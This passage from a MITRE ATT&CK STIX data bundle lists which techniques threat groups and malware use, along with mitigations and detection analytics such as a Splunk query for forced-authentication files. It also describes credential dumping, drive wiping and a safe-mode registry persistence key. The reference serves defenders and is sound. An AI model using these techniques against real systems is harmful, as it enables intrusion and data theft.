(2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T15:32:50.203Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has performed frequent and scheduled data exfiltration from compromised networks.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78adc73a-0f8c-498e-9451-7f9081f81595","type":"relationship","created":"2021-10-14T22:58:54.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-17T17:04:33.239Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses RC4 encryption over TCP to communicate with its C2 server.(Citation: trendmicro xcsset xcode project 2020) ","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78af537b-48cc-411d-a209-3e01c44aa87b","type":"relationship","created":"2020-03-26T20:27:44.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:18:31.209Z","description":"Utilize Yama (ex: /proc/sys/kernel/yama/ptrace_scope) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78b31fa7-10ef-4c28-888e-71da978e9e81","type":"relationship","created":"2020-03-15T16:21:45.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T16:35:45.749Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78b5c54c-3db4-4ac9-b0c3-78420b4e65d9","created":"2024-09-16T08:33:52.806Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"},{"source_name":"Google Cloud APT41 2022","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman & John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:33:52.806Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) decrypts an embedded payload.(Citation: Google Cloud APT41 2024)(Citation: Google Cloud APT41 2022)","relationship_type":"uses","source_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78b67e57-dba8-4dc5-b7c8-1ab9dfa9efe4","type":"relationship","created":"2021-04-07T18:07:47.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:37.249Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has modified DNS resolvers to evade DNS monitoring tools.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78ba82a1-e803-42c1-b112-ce999369d348","type":"relationship","created":"2020-11-30T15:35:49.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-21T20:54:59.391Z","description":"The [Bazar](https://attack.mitre.org/software/S0534) loader has named malicious shortcuts \"adobe\" and mimicked communications software.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78bde505-a353-4cae-a978-f87de382f3fd","type":"relationship","created":"2020-10-01T00:44:24.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:44:24.068Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--78c0b480-23c1-4de7-867e-d4e9ef4c8df6","created":"2022-04-09T15:08:39.047Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can change both the desktop wallpaper and the lock screen image to a custom image.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-10T17:06:34.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78c889da-e1e2-4230-a91d-9934627fecf6","type":"relationship","created":"2020-03-19T22:40:09.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.972Z","description":"[CozyCar](https://attack.mitre.org/software/S0046) has executed [Mimikatz](https://attack.mitre.org/software/S0002) to harvest stored credentials from the victim and further victim penetration.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--78ca7fcf-95b9-485c-a87b-2ac083312885","created":"2019-04-12T16:59:08.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:36.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78cd9016-aab5-4356-ae15-b3d38b7491fb","created":"2024-09-17T20:08:51.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:58:08.139Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can send registration information to C2 via HTTP `POST`.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78da5fc8-6f66-43a5-8ad4-c9c79b506408","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.877Z","description":"[JPIN](https://attack.mitre.org/software/S0201) contains a custom keylogger.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--78daa7e5-f5e5-452b-a7fd-cece272294fd","created":"2020-03-19T23:01:00.203Z","x_mitre_version":"1.0","external_references":[{"source_name":"Impacket Tools","url":"https://www.secureauth.com/labs/open-source-tools/impacket","description":"SecureAuth. (n.d.). Retrieved January 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)","modified":"2022-04-19T21:06:46.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78dcc48d-546c-459d-a4b2-a7a120d5afbf","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T18:35:46.661Z","description":"Monitor for newly constructed .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources.\n\nAnalytic 1 - Creation of suspicious files in locations used for forced authentication attacks.\n\n(index=security sourcetype=\"WinEventLog:Security\" EventCode=4663) OR \n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=11) | where match(ObjectName, \"(?i)\\\\(.*\\\\.)?(lnk|scf|url|doc|dot|xls|ppt|pdf|html)$\")\n| where match(ObjectName, \"(?i)(desktop|public|downloads|temp|cache|start menu|startup)\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78dd8fdb-51c9-475b-af74-0acd1c0a0969","created":"2024-06-14T19:18:13.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"},{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T19:41:19.651Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has registered impersonation email accounts to spoof experts in a particular field or individuals and organizations affiliated with the intended target.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78debfd5-eeb1-4432-85f1-787fe3ffb977","type":"relationship","created":"2021-03-01T14:07:36.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.540Z","description":"[LookBack](https://attack.mitre.org/software/S0582)’s C2 proxy tool sends data to a C2 server over HTTP.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78e4027f-b5ff-4cb3-8b27-ab931baf3476","type":"relationship","created":"2021-02-23T20:50:33.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.448Z","description":"[Conficker](https://attack.mitre.org/software/S0608) variants spread through NetBIOS share propagation.(Citation: SANS Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78e5db72-54db-4c89-85ac-66cac1bddb9c","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor executed commands and arguments that may modify plist files to automatically run an application when a user logs in.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78e60e86-72a0-4966-a1b9-19a76102d78f","created":"2019-06-30T22:50:18.699Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.265Z","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) uses HTTP for C2.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78e8d9e6-48b7-473f-af94-43f626de7931","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2019-12-20T14:26:01.181Z","description":"An [APT28](https://attack.mitre.org/groups/G0007) backdoor may collect the entire contents of an inserted USB device.(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78eecb81-4803-48d1-abc0-7667594ea251","type":"relationship","created":"2020-01-28T17:11:54.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-28T17:11:54.416Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78f09c1a-8e37-4b2c-9296-d464be9b46c5","type":"relationship","created":"2019-08-26T15:27:13.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."}],"modified":"2020-03-30T02:56:46.748Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used RC4 encryption before exfil.(Citation: Securelist Kimsuky Sept 2013)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42","type":"relationship","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2019-07-14T21:15:55.270Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78f508b9-0b72-4825-a076-9924eb9291fe","type":"relationship","created":"2021-04-06T15:53:34.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.721Z","description":"[Doki](https://attack.mitre.org/software/S0600) was run through a deployed container.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78f8338a-ac4e-42cf-a887-cc35e842dc11","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-03-20T18:06:47.440Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) encodes commands from the control server using a range of characters and gzip.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--78f93749-8ffe-4d68-a594-fe8b9978b0dd","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","external_references":[{"source_name":"BleepingComputer REvil 2021","url":"https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/","description":"Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021."},{"source_name":"Sophos Snatch Ransomware 2019","url":"https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/","description":"Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor modifications to Registry data associated with enabling safe mode. For example, a service can be forced to start on safe mode boot by adding a \\* in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"] or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 